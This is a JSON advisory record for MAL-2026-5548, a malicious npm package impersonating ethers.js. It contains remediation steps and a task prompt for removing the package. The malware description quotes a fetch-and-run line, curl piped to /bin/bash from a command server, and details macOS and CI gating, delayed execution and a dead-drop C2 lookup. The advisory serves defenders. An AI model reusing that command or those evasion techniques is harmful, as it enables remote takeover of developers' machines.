{"answers":{"affected":"1 open source package ship an affected version, including @403name/ether-js.","exploited":"There is no known exploitation of MAL-2026-5548 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-5548 is a malicious package in @403name/ether-js, published on 11 Jun 2026."},"fix_prompt":"MAL-2026-5548 is a malicious package: @403name/ether-js (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5548/ (Markdown: https://insights.sbomify.com/MAL-2026-5548/index.md)","id":"MAL-2026-5548","markdown":"https://insights.sbomify.com/MAL-2026-5548/index.md","name":"MAL-2026-5548","record":{"aliases":["GHSA-qgxg-2j6w-jmpx"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On require('@403name/ether-js'), index.js runs an IIFE that targets macOS only (returns early on non-darwin and when CI/GITHUB_ACTIONS env vars are set), writes a one-shot marker at ~/.cache/.nyx-npm/e, waits a randomized 30-90s, then fetches a C2 base URL from https://raw.githubusercontent.com/nyx-deploy/config/main/c2.txt. It beacons the installer's USER env var and os.hostname() to \u003cc2\u003e/api/clickfix-callback via curl, then spawns '/bin/sh -c' with `curl -sSfL \u003cc2\u003e/api/payload/ | /bin/bash` (detached, disowned) — full remote code execution on the developer's machine under attacker control. A Russian-language comment in the source explicitly states the design avoids lifecycle scripts to be 'invisible to npm audit'. The package name and description impersonate the popular ethers.js library ('Compatible with ethers.js API patterns for easy migration'), and the shipped keccak256 is a stub returning random hex rather than a real hash — confirming the package is a lure, not a functional library. The evasion pattern (platform gate, CI gate, randomized delay, one-shot marker) combined with the two-stage dead-drop-to-C2 fetch-and-exec is conclusive malicious intent.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @403name/ether-js (npm)","id":"MAL-2026-5548","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"@403name/ether-js","purl":"pkg:npm/%40403name/ether-js","source":"MAL-2026-5548"}],"products":null,"published":"2026-06-11","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5548/"}